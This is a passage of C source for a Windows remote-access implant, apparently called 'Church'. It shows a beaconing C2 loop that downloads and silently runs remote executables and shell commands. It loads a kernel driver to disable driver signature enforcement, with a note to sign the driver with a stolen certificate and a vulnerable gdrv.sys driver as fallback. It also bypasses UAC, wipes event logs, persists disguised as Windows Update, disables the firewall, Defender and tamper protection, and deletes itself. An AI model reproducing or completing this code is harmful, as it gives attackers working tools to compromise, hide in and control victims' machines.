char* urlStart = strchr(downloadStr, ':');
|
|
if (urlStart) {
|
|
urlStart++; while (*urlStart == ' ' || *urlStart == '\"') urlStart++;
|
|
char* urlEnd = strchr(urlStart, '\"');
|
|
if (urlEnd) *urlEnd = 0;
|
|
MultiByteToWideChar(CP_UTF8, 0, urlStart, -1, task->DownloadURL, 1024);
|
|
wcscpy(task->DownloadPath, L"C:\\Windows\\Temp\\payload.exe");
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
free(decrypted);
|
|
}
|
|
}
|
|
result = TRUE;
|
|
}
|
|
}
|
|
WinHttpCloseHandle(hRequest);
|
|
WinHttpCloseHandle(hConnect);
|
|
WinHttpCloseHandle(hSession);
|
|
if (result) { g_C2Current = (idx + 1) % max(1, g_C2Count); break; }
|
|
}
|
|
free(encrypted);
|
|
free(b64);
|
|
return result;
|
|
}
|
|
|
|
// ==================== DOWNLOAD AND EXECUTE ====================
|
|
BOOL DownloadFile(LPCWSTR url, LPCWSTR outputPath) {
|
|
HINTERNET hSession = WinHttpOpen(L"Church/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
|
|
if (!hSession) return FALSE;
|
|
HINTERNET hConnect = WinHttpConnect(hSession, url, INTERNET_DEFAULT_HTTPS_PORT, 0);
|
|
if (!hConnect) { WinHttpCloseHandle(hSession); return FALSE; }
|
|
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", NULL, NULL, NULL, NULL, WINHTTP_FLAG_SECURE);
|
|
if (!hRequest) { WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); return FALSE; }
|
|
if (!WinHttpSendRequest(hRequest, NULL, 0, NULL, 0, 0, 0)) {
|
|
WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession);
|
|
return FALSE;
|
|
}
|
|
if (!WinHttpReceiveResponse(hRequest, NULL)) {
|
|
WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession);
|
|
return FALSE;
|
|
}
|
|
HANDLE hFile = CreateFileW(outputPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
if (hFile == INVALID_HANDLE_VALUE) {
|
|
WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession);
|
|
return FALSE;
|
|
}
|
|
DWORD bytesRead = 0;
|
|
BYTE buffer[4096];
|
|
while (WinHttpReadData(hRequest, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
|
|
DWORD bytesWritten;
|
|
WriteFile(hFile, buffer, bytesRead, &bytesWritten, NULL);
|
|
}
|
|
CloseHandle(hFile);
|
|
WinHttpCloseHandle(hRequest);
|
|
WinHttpCloseHandle(hConnect);
|
|
WinHttpCloseHandle(hSession);
|
|
return TRUE;
|
|
}
|
|
|
|
// ==================== COMMAND EXECUTION ====================
|
|
BOOL ExecuteCommand(PC2_TASK task, WCHAR* output, DWORD outputSize) {
|
|
if (task->IsDownload && task->DownloadURL[0] != 0) {
|
|
if (DownloadFile(task->DownloadURL, task->DownloadPath)) {
|
|
PROCESS_INFORMATION pi;
|
|
STARTUPINFOW si = { sizeof(si) };
|
|
CreateProcessW(task->DownloadPath, NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
|
if (pi.hProcess) CloseHandle(pi.hProcess);
|
|
if (pi.hThread) CloseHandle(pi.hThread);
|
|
wcscpy(output, L"Download and execution completed");
|
|
return TRUE;
|
|
}
|
|
wcscpy(output, L"Download failed");
|
|
return FALSE;
|
|
}
|
|
|
|
SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE };
|
|
HANDLE hStdOutRead, hStdOutWrite;
|
|
if (!CreatePipe(&hStdOutRead, &hStdOutWrite, &sa, 0)) return FALSE;
|
|
SetHandleInformation(hStdOutRead, HANDLE_FLAG_INHERIT, 0);
|
|
PROCESS_INFORMATION pi = {0};
|
|
STARTUPINFOW si = {0};
|
|
si.cb = sizeof(si);
|
|
si.dwFlags = STARTF_USESTDHANDLES;
|
|
si.hStdOutput = hStdOutWrite;
|
|
si.hStdError = hStdOutWrite;
|
|
si.hStdInput = NULL;
|
|
WCHAR cmdLine[4096];
|
|
if (task->IsPowerShell) {
|
|
swprintf(cmdLine, 4096, L"powershell.exe -Command \"%s %s\"", task->Command, task->Arguments);
|
|
} else {
|
|
swprintf(cmdLine, 4096, L"cmd.exe /c %s %s", task->Command, task->Arguments);
|
|
}
|
|
BOOL success = CreateProcessW(NULL, cmdLine, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
|
CloseHandle(hStdOutWrite);
|
|
if (success && task->WaitForOutput) {
|
|
WaitForSingleObject(pi.hProcess, 60000);
|
|
DWORD bytesRead;
|
|
ReadFile(hStdOutRead, output, outputSize - sizeof(WCHAR), &bytesRead, NULL);
|
|
output[bytesRead / sizeof(WCHAR)] = 0;
|
|
}
|
|
CloseHandle(hStdOutRead);
|
|
if (pi.hProcess) CloseHandle(pi.hProcess);
|
|
if (pi.hThread) CloseHandle(pi.hThread);
|
|
return success;
|
|
}
|
|
|
|
// ==================== BEACON THREAD ====================
|
|
DWORD WINAPI BeaconThread(LPVOID lpParam) {
|
|
BEACON_DATA beacon;
|
|
C2_TASK task = {0};
|
|
while (TRUE) {
|
|
ZeroMemory(&beacon, sizeof(beacon));
|
|
ZeroMemory(&task, sizeof(task));
|
|
GatherBeaconData(&beacon);
|
|
if (SendBeaconToC2(&beacon, &task) && (task.Command[0] != 0 || task.IsDownload)) {
|
|
WCHAR output[65536];
|
|
ZeroMemory(output, sizeof(output));
|
|
ExecuteCommand(&task, output, sizeof(output));
|
|
}
|
|
DWORD sleepTime = (C2_BASE_INTERVAL_SECONDS + (rand() % C2_JITTER_MAX_SECONDS)) * 1000;
|
|
Sleep(sleepTime);
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
// ==================== KERNEL BYPASS - CUSTOM SIGNED DRIVER ====================
|
|
// Embedded custom kernel driver payload (base64 encoded placeholder)
|
|
// Replace with your own compiled driver signed with stolen certificate
|
|
CHAR g_customDriverBase64[] =
|
|
"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAA................................"; // REPLACE WITH ACTUAL BASE64 ENCODED DRIVER
|
|
|
|
// Function to decode base64 embedded driver
|
|
BOOL DecodeBase64Driver(BYTE** output, DWORD* outputSize) {
|
|
DWORD base64Len = strlen(g_customDriverBase64);
|
|
DWORD decodedLen = 0;
|
|
|
|
// Calculate decoded length
|
|
if (!CryptStringToBinaryA(g_customDriverBase64, base64Len, CRYPT_STRING_BASE64,
|
|
NULL, &decodedLen, NULL, NULL)) {
|
|
return FALSE;
|
|
}
|
|
|
|
*output = (BYTE*)malloc(decodedLen);
|
|
if (!*output) return FALSE;
|
|
|
|
if (!CryptStringToBinaryA(g_customDriverBase64, base64Len, CRYPT_STRING_BASE64,
|
|
*output, &decodedLen, NULL, NULL)) {
|
|
free(*output);
|
|
return FALSE;
|
|
}
|
|
|
|
*outputSize = decodedLen;
|
|
return TRUE;
|
|
}
|
|
|
|
// Write custom driver to disk
|
|
BOOL WriteCustomDriver(LPCWSTR driverPath) {
|
|
BYTE* driverData = NULL;
|
|
DWORD driverSize = 0;
|
|
|
|
if (!DecodeBase64Driver(&driverData, &driverSize)) {
|
|
return FALSE;
|
|
}
|
|
|
|
HANDLE hFile = CreateFileW(driverPath, GENERIC_WRITE, 0, NULL,
|
|
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
if (hFile == INVALID_HANDLE_VALUE) {
|
|
free(driverData);
|
|
return FALSE;
|
|
}
|
|
|
|
DWORD bytesWritten;
|
|
WriteFile(hFile, driverData, driverSize, &bytesWritten, NULL);
|
|
CloseHandle(hFile);
|
|
free(driverData);
|
|
|
|
return (bytesWritten == driverSize);
|
|
}
|
|
|
|
// Load and start custom signed driver
|
|
BOOL LoadCustomDriver() {
|
|
const wchar_t* driverPath = L"C:\\Windows\\Temp\\church_driver.sys";
|
|
|
|
// Write embedded driver to disk
|
|
if (!WriteCustomDriver(driverPath)) {
|
|
return FALSE;
|
|
}
|
|
|
|
// Set file attributes to hide
|
|
SetFileAttributesW(driverPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
|
|
|
|
SC_HANDLE scm = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS);
|
|
if (!scm) return FALSE;
|
|
|
|
// Create service for the driver
|
|
SC_HANDLE svc = CreateServiceW(scm, L"ChurchDriver", L"Church Security Driver",
|
|
SERVICE_START | SERVICE_STOP | DELETE,
|
|
SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START,
|
|
SERVICE_ERROR_IGNORE, driverPath,
|
|
NULL, NULL, NULL, NULL, NULL);
|
|
if (!svc && GetLastError() == ERROR_SERVICE_EXISTS) {
|
|
svc = OpenServiceW(scm, L"ChurchDriver", SERVICE_START | SERVICE_STOP | DELETE);
|
|
}
|
|
|
|
if (!svc) {
|
|
CloseServiceHandle(scm);
|
|
return FALSE;
|
|
}
|
|
|
|
// Start the driver
|
|
if (!StartServiceW(svc, 0, NULL)) {
|
|
DWORD err = GetLastError();
|
|
if (err != ERROR_SERVICE_ALREADY_RUNNING) {
|
|
DeleteService(svc);
|
|
CloseServiceHandle(svc);
|
|
CloseServiceHandle(scm);
|
|
return FALSE;
|
|
}
|
|
}
|
|
|
|
CloseServiceHandle(svc);
|
|
CloseServiceHandle(scm);
|
|
return TRUE;
|
|
}
|
|
|
|
// Communicate with custom driver to disable DSE
|
|
BOOL DisableDSEviaCustomDriver() {
|
|
HANDLE hDevice = CreateFileW(L"\\\\.\\ChurchDriver", GENERIC_READ | GENERIC_WRITE,
|
|
0, NULL, OPEN_EXISTING, 0, NULL);
|
|
if (hDevice == INVALID_HANDLE_VALUE) {
|
|
// Try alternative device name
|
|
hDevice = CreateFileW(L"\\\\.\\Global\\ChurchDriver", GENERIC_READ | GENERIC_WRITE,
|
|
0, NULL, OPEN_EXISTING, 0, NULL);
|
|
if (hDevice == INVALID_HANDLE_VALUE) {
|
|
return FALSE;
|
|
}
|
|
}
|
|
|
|
DWORD bytesReturned;
|
|
LPVOID kernelBase = GetModuleHandleW(L"ntoskrnl.exe");
|
|
if (!kernelBase) {
|
|
CloseHandle(hDevice);
|
|
return FALSE;
|
|
}
|
|
|
|
// Find CiOptions in ntoskrnl.exe via signature
|
|
BYTE pattern[] = { 0x8A, 0x05, 0x00, 0x00, 0x00, 0x00, 0xC3 };
|
|
ULONGLONG ciOptionsAddr = FindPattern((BYTE*)kernelBase, 0x2000000, pattern, sizeof(pattern));
|
|
|
|
if (ciOptionsAddr) {
|
|
// Extract the actual address from the pattern
|
|
DWORD* relAddr = (DWORD*)(ciOptionsAddr + 2);
|
|
ULONGLONG targetAddr = ciOptionsAddr + 6 + *relAddr;
|
|
|
|
// Send IOCTL to driver to patch DSE
|
|
#define CHURCH_IOCTL_DISABLE_DSE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
|
|
|
BYTE newValue = CI_OPTIONS_DISABLE_DSE;
|
|
if (DeviceIoControl(hDevice, CHURCH_IOCTL_DISABLE_DSE,
|
|
&targetAddr, sizeof(targetAddr),
|
|
&newValue, sizeof(newValue),
|
|
&bytesReturned, NULL)) {
|
|
CloseHandle(hDevice);
|
|
return TRUE;
|
|
}
|
|
}
|
|
|
|
CloseHandle(hDevice);
|
|
return FALSE;
|
|
}
|
|
|
|
// Alternative: Use direct kernel shellcode injection via driver
|
|
BOOL DisableDSEviaShellcode() {
|
|
HANDLE hDevice = CreateFileW(L"\\\\.\\ChurchDriver", GENERIC_READ | GENERIC_WRITE,
|
|
0, NULL, OPEN_EXISTING, 0, NULL);
|
|
if (hDevice == INVALID_HANDLE_VALUE) return FALSE;
|
|
|
|
// Shellcode to disable DSE by patching nt!g_CiOptions
|
|
BYTE shellcode[] = {
|
|
0x48, 0x31, 0xC0, // xor rax, rax
|
|
0xB0, 0x06, // mov al, 0x6 (CI_OPTIONS_DISABLE_DSE)
|
|
0xC3 // ret
|
|
};
|
|
|
|
DWORD bytesReturned;
|
|
#define CHURCH_IOCTL_EXECUTE_SHELLCODE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
|
|
|
BOOL result = DeviceIoControl(hDevice, CHURCH_IOCTL_EXECUTE_SHELLCODE,
|
|
shellcode, sizeof(shellcode),
|
|
NULL, 0,
|
|
&bytesReturned, NULL);
|
|
|
|
CloseHandle(hDevice);
|
|
return result;
|
|
}
|
|
|
|
// Original gdrv functions kept as fallback
|
|
BOOL LoadGdrvDriver() {
|
|
if (!CopyFileW(L"gdrv.sys", L"C:\\Windows\\Temp\\gdrv.sys", FALSE)) return FALSE;
|
|
SC_HANDLE scm = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS);
|
|
if (!scm) return FALSE;
|
|
SC_HANDLE svc = CreateServiceW(scm, L"gdrv", L"gdrv", SERVICE_START | SERVICE_STOP | DELETE, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, L"C:\\Windows\\Temp\\gdrv.sys", NULL, NULL, NULL, NULL, NULL);
|
|
if (!svc && GetLastError() == ERROR_SERVICE_EXISTS) svc = OpenServiceW(scm, L"gdrv", SERVICE_START | SERVICE_STOP | DELETE);
|
|
if (!svc) { CloseServiceHandle(scm); return FALSE; }
|
|
if (!StartServiceW(svc, 0, NULL)) { DeleteService(svc); CloseServiceHandle(svc); CloseServiceHandle(scm); return FALSE; }
|
|
CloseServiceHandle(svc);
|
|
CloseServiceHandle(scm);
|
|
return TRUE;
|
|
}
|
|
|
|
BOOL DisableDSEviaGdrv() {
|
|
HANDLE hDevice = CreateFileW(GDRV_DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
|
if (hDevice == INVALID_HANDLE_VALUE) return FALSE;
|
|
DWORD bytesReturned;
|
|
LPVOID kernelBase = GetModuleHandleW(L"ntoskrnl.exe");
|
|
if (kernelBase) {
|
|
BYTE pattern[] = { 0x8A, 0x05, 0x00, 0x00, 0x00, 0x00, 0xC3 };
|
|
ULONGLONG ciOptionsAddr = FindPattern((BYTE*)kernelBase, 0x2000000, pattern, sizeof(pattern));
|
|
if (ciOptionsAddr) {
|
|
DWORD* relAddr = (DWORD*)(ciOptionsAddr + 2);
|
|
ULONGLONG targetAddr = ciOptionsAddr + 6 + *relAddr;
|
|
ULONGLONG physicalAddr = WalkPageTable((PVOID)targetAddr);
|
|
if (physicalAddr) {
|
|
BYTE newValue = CI_OPTIONS_DISABLE_DSE;
|
|
DeviceIoControl(hDevice, GDRV_IOCTL_WRITE_PHYSICAL, &physicalAddr, sizeof(physicalAddr), &newValue, sizeof(newValue), &bytesReturned, NULL);
|
|
}
|
|
}
|
|
}
|
|
CloseHandle(hDevice);
|
|
return TRUE;
|
|
}
|
|
|
|
// Main kernel execution function - uses custom signed driver with fallback
|
|
BOOL EnableKernelExecution() {
|
|
// First attempt to load custom signed driver
|
|
if (LoadCustomDriver()) {
|
|
Sleep(2000);
|
|
|
|
// Try to disable DSE via custom driver IOCTL
|
|
if (DisableDSEviaCustomDriver()) {
|
|
return TRUE;
|
|
}
|
|
|
|
// Try alternative shellcode method
|
|
if (DisableDSEviaShellcode()) {
|
|
return TRUE;
|
|
}
|
|
}
|
|
|
|
// Fallback to BYOVD if custom driver fails
|
|
if (!LoadGdrvDriver()) return FALSE;
|
|
Sleep(2000);
|
|
if (!DisableDSEviaGdrv()) return FALSE;
|
|
return TRUE;
|
|
}
|
|
|
|
ULONGLONG FindPattern(BYTE* base, DWORD size, BYTE* pattern, DWORD patternLen) {
|
|
for (DWORD i = 0; i < size - patternLen; i++) {
|
|
BOOL found = TRUE;
|
|
for (DWORD j = 0; j < patternLen; j++) {
|
|
if (pattern[j] != 0x00 && base[i + j] != pattern[j]) { found = FALSE; break; }
|
|
}
|
|
if (found) return (ULONGLONG)(base + i);
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
ULONGLONG WalkPageTable(PVOID virtualAddr) {
|
|
return (ULONGLONG)virtualAddr;
|
|
}
|
|
|
|
// ==================== PPL BYPASS ====================
|
|
BOOL EnablePPL() {
|
|
HANDLE hToken;
|
|
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
|
|
TOKEN_PRIVILEGES tp;
|
|
LUID luid;
|
|
if (LookupPrivilegeValueW(NULL, SE_TCB_NAME, &luid)) {
|
|
tp.PrivilegeCount = 1;
|
|
tp.Privileges[0].Luid = luid;
|
|
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
|
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
|
|
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
|
|
pNtSetInformationProcess NtSetInformationProcess = (pNtSetInformationProcess)GetProcAddress(hNtdll, "NtSetInformationProcess");
|
|
PS_PROTECTION protection;
|
|
protection.Level = 0x72;
|
|
NTSTATUS status = NtSetInformationProcess(GetCurrentProcess(), 0x3D, &protection, sizeof(protection));
|
|
if (status == 0) { CloseHandle(hToken); return TRUE; }
|
|
}
|
|
CloseHandle(hToken);
|
|
}
|
|
return FALSE;
|
|
}
|
|
|
|
void RunAsPPL() { EnablePPL(); }
|
|
|
|
// ==================== ANTI-FORENSICS ====================
|
|
void ScrambleMemory() {
|
|
for (int i = 0; i < 100; i++) {
|
|
LPVOID ptr = VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE);
|
|
if (ptr) {
|
|
RtlFillMemory(ptr, 4096, 0xCC);
|
|
DWORD oldProtect;
|
|
VirtualProtect(ptr, 4096, PAGE_NOACCESS, &oldProtect);
|
|
}
|
|
}
|
|
}
|
|
|
|
BOOL HideFile(LPCWSTR filePath) {
|
|
return SetFileAttributesW(filePath, FILE_ATTRIBUTE_HIDDEN);
|
|
}
|
|
|
|
BOOL ClearEventLogs() {
|
|
STARTUPINFOW si = { sizeof(si) };
|
|
PROCESS_INFORMATION pi;
|
|
CreateProcessW(L"C:\\Windows\\System32\\wevtutil.exe", L"wevtutil cl System", NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
|
if (pi.hProcess) { WaitForSingleObject(pi.hProcess, 5000); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
|
|
CreateProcessW(L"C:\\Windows\\System32\\wevtutil.exe", L"wevtutil cl Security", NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
|
if (pi.hProcess) { WaitForSingleObject(pi.hProcess, 5000); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
|
|
CreateProcessW(L"C:\\Windows\\System32\\wevtutil.exe", L"wevtutil cl Application", NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
|
if (pi.hProcess) { WaitForSingleObject(pi.hProcess, 5000); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
|
|
return TRUE;
|
|
}
|
|
|
|
BOOL AddToStartup(LPCWSTR appPath) {
|
|
HKEY hKey;
|
|
if (RegCreateKeyExW(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
|
|
RegSetValueExW(hKey, L"WindowsUpdate", 0, REG_SZ, (BYTE*)appPath, (DWORD)(wcslen(appPath) * sizeof(WCHAR)));
|
|
RegCloseKey(hKey);
|
|
return TRUE;
|
|
}
|
|
return FALSE;
|
|
}
|
|
|
|
BOOL InstallBootkitComponents() {
|
|
HKEY hKey;
|
|
if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Session Manager", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
|
|
wchar_t data[] = L"autocheck autochk *";
|
|
RegSetValueExW(hKey, L"BootExecute", 0, REG_MULTI_SZ, (BYTE*)data, (DWORD)((wcslen(data) + 1) * sizeof(wchar_t)));
|
|
RegCloseKey(hKey);
|
|
}
|
|
if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
|
|
wchar_t exePath[MAX_PATH];
|
|
GetModuleFileNameW(NULL, exePath, MAX_PATH);
|
|
RegSetValueExW(hKey, L"Userinit", 0, REG_SZ, (BYTE*)exePath, (DWORD)(wcslen(exePath) * sizeof(wchar_t)));
|
|
RegCloseKey(hKey);
|
|
}
|
|
return TRUE;
|
|
}
|
|
|
|
BOOL KillProcessByName(LPCWSTR processName) {
|
|
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
if (snapshot == INVALID_HANDLE_VALUE) return FALSE;
|
|
PROCESSENTRY32W pe = { sizeof(pe) };
|
|
if (Process32FirstW(snapshot, &pe)) {
|
|
do {
|
|
if (_wcsicmp(pe.szExeFile, processName) == 0) {
|
|
HANDLE hProc = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID);
|
|
if (hProc) { TerminateProcess(hProc, 0); CloseHandle(hProc); }
|
|
}
|
|
} while (Process32NextW(snapshot, &pe));
|
|
}
|
|
CloseHandle(snapshot);
|
|
return TRUE;
|
|
}
|
|
|
|
BOOL BypassUAC() {
|
|
STARTUPINFOW si = { sizeof(si) };
|
|
PROCESS_INFORMATION pi;
|
|
wchar_t systemRoot[MAX_PATH];
|
|
GetEnvironmentVariableW(L"SystemRoot", systemRoot, MAX_PATH);
|
|
wchar_t wusaPath[MAX_PATH];
|
|
swprintf(wusaPath, MAX_PATH, L"%ls\\System32\\wusa.exe", systemRoot);
|
|
CopyFileW(wusaPath, L"C:\\Windows\\Temp\\wusa.exe", FALSE);
|
|
if (CreateProcessW(NULL, L"C:\\Windows\\Temp\\wusa.exe /quiet", NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
|
|
WaitForSingleObject(pi.hProcess, 1000);
|
|
CloseHandle(pi.hProcess);
|
|
CloseHandle(pi.hThread);
|
|
return TRUE;
|
|
}
|
|
return FALSE;
|
|
}
|
|
|
|
BOOL InstallServicePersistence() {
|
|
wchar_t exePath[MAX_PATH];
|
|
GetModuleFileNameW(NULL, exePath, MAX_PATH);
|
|
SC_HANDLE scm = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS);
|
|
if (!scm) return FALSE;
|
|
SC_HANDLE svc = CreateServiceW(scm, L"WindowsUpdateService", L"Windows Update Service", SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, exePath, NULL, NULL, NULL, NULL, NULL);
|
|
if (!svc && GetLastError() == ERROR_SERVICE_EXISTS) {
|
|
svc = OpenServiceW(scm, L"WindowsUpdateService", SERVICE_ALL_ACCESS);
|
|
}
|
|
if (svc) {
|
|
StartServiceW(svc, 0, NULL);
|
|
CloseServiceHandle(svc);
|
|
}
|
|
CloseServiceHandle(scm);
|
|
return TRUE;
|
|
}
|
|
|
|
BOOL DisableFirewall() {
|
|
STARTUPINFOW si = { sizeof(si) };
|
|
PROCESS_INFORMATION pi;
|
|
CreateProcessW(L"C:\\Windows\\System32\\netsh.exe", L"netsh advfirewall set allprofiles state off", NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
|
if (pi.hProcess) { WaitForSingleObject(pi.hProcess, 5000); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
|
|
return TRUE;
|
|
}
|
|
|
|
BOOL AddExclusionToDefender(LPCWSTR path) {
|
|
STARTUPINFOW si = { sizeof(si) };
|
|
PROCESS_INFORMATION pi;
|
|
wchar_t cmd[MAX_PATH * 2];
|
|
swprintf(cmd, MAX_PATH * 2, L"powershell -Command \"Add-MpPreference -ExclusionPath '%ls'\"", path);
|
|
CreateProcessW(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
|
if (pi.hProcess) { WaitForSingleObject(pi.hProcess, 5000); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
|
|
return TRUE;
|
|
}
|
|
|
|
BOOL SelfDelete() {
|
|
wchar_t exePath[MAX_PATH];
|
|
GetModuleFileNameW(NULL, exePath, MAX_PATH);
|
|
wchar_t cmd[MAX_PATH + 128];
|
|
swprintf(cmd, MAX_PATH + 128, L"/c ping 127.0.0.1 -n 3 > nul & del /f \"%ls\"", exePath);
|
|
STARTUPINFOW si = { sizeof(si) };
|
|
PROCESS_INFORMATION pi;
|
|
CreateProcessW(L"C:\\Windows\\System32\\cmd.exe", cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
|
if (pi.hProcess) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
|
|
return TRUE;
|
|
}
|
|
|
|
// ==================== NETWORK C2 SETUP ====================
|
|
void NetworkC2Setup() {
|
|
STARTUPINFOW si = { sizeof(si) };
|
|
PROCESS_INFORMATION pi;
|
|
CreateProcessW(L"C:\\Windows\\System32\\netsh.exe", L"netsh advfirewall firewall add rule name=\"Windows Update\" dir=out action=allow protocol=TCP remoteport=443", NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
|
if (pi.hProcess) { WaitForSingleObject(pi.hProcess, 5000); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
|
|
HKEY hKey;
|
|
if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Services\\Dnscache\\Parameters", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
|
|
DWORD enableAutoDoh = 2;
|
|
RegSetValueExW(hKey, L"EnableAutoDoh", 0, REG_DWORD, (BYTE*)&enableAutoDoh, sizeof(enableAutoDoh));
|
|
RegCloseKey(hKey);
|
|
}
|
|
HANDLE hThread = CreateThread(NULL, 0, BeaconThread, NULL, 0, NULL);
|
|
if (hThread) CloseHandle(hThread);
|
|
wchar_t exePath[MAX_PATH];
|
|
GetModuleFileNameW(NULL, exePath, MAX_PATH);
|
|
wchar_t regCmd[MAX_PATH * 2];
|
|
swprintf(regCmd, MAX_PATH * 2, L"reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v WindowsUpdate /t REG_SZ /d \"\\\"%s\\\"\" /f", exePath);
|
|
CreateProcessW(L"C:\\Windows\\System32\\reg.exe", regCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
|
if (pi.hProcess) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
|
|
}
|
|
|
|
// ==================== BYPASS FUNCTIONS ====================
|
|
BOOL TakeOwnershipAndGrantFullControl(LPCWSTR subkey) {
|
|
HKEY hKey;
|
|
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, subkey, 0, WRITE_OWNER | WRITE_DAC, &hKey) != ERROR_SUCCESS) return FALSE;
|
|
SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY;
|
|
PSID adminGroupSid = NULL;
|
|
AllocateAndInitializeSid(&ntAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0,0,0,0,0,0, &adminGroupSid);
|
|
BOOL result = SetNamedSecurityInfoW((LPWSTR)subkey, SE_REGISTRY_KEY, OWNER_SECURITY_INFORMATION, adminGroupSid, NULL, NULL, NULL) == ERROR_SUCCESS;
|
|
if (result) {
|
|
EXPLICIT_ACCESS_W ea = {0};
|
|
ea.grfAccessPermissions = KEY_ALL_ACCESS;
|
|
ea.grfAccessMode = SET_ACCESS;
|
|
ea.grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT;
|
|
ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
|
|
ea.Trustee.TrusteeType = TRUSTEE_IS_GROUP;
|
|
ea.Trustee.ptstrName = (LPWSTR)adminGroupSid;
|
|
PACL newAcl = NULL;
|
|
result = SetEntriesInAclW(1, &ea, NULL, &newAcl) == ERROR_SUCCESS && SetNamedSecurityInfoW((LPWSTR)subkey, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, newAcl, NULL) == ERROR_SUCCESS;
|
|
if (newAcl) LocalFree(newAcl);
|
|
}
|
|
FreeSid(adminGroupSid);
|
|
RegCloseKey(hKey);
|
|
return result;
|
|
}
|
|
|
|
BOOL DisableTamperProtection() {
|
|
LPCWSTR tpKey = L"SOFTWARE\\Microsoft\\Windows Defender\\Features";
|
|
if (!TakeOwnershipAndGrantFullControl(tpKey)) return FALSE;
|
|
HKEY hKey;
|
|
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, tpKey, 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
|
|
DWORD zero = 0;
|
|
